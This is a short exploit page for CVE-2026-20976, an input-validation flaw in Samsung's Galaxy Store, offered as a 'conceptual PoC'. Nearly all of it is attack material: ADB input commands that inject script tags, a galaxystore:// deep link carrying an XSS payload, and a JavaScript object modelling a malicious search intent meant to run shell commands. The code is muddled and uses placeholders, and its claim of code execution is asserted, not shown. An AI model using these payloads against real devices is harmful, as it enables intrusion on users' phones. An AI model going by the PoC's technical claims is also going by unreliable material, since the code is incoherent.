CVE-2026-20976 | Galaxy Store 输入验证不当导致任意脚本执行

// CVE-2026-20976 PoC - Galaxy Store Input Validation Bypass // Note: This is a conceptual PoC for demonstration purposes // Actual exploitation requires specific triggering mechanism // Method 1: Using ADB to trigger the vulnerable code path // adb shell am start -n com.sec.android.app.samsungapps/.Main // adb shell input text "<script>malicious_code_here</script>" // Method 2: Intent-based triggering (requires device access) // am start -a android.intent.action.VIEW \ // -d "galaxystore://search?q=<script>alert('XSS')</script>" // Method 3: Broadcast receiver exploitation // Local broadcast with malicious payload in extra data // This requires the attacker to have PR:L privileges // Conceptual payload structure: var payload = { action: "com.samsung.android.app.samsungapps.SEARCH", data: { query: "<script>\n// Arbitrary JavaScript/Shell code execution\nvar cmd = 'whoami';\n// Execute command via available APIs\n</script>" }, flags: ["FLAG_ACTIVITY_NEW_TASK"] }; // The vulnerability allows this payload to be processed // without proper sanitization, leading to code execution console.log("PoC for CVE-2026-20976 - Galaxy Store Input Validation");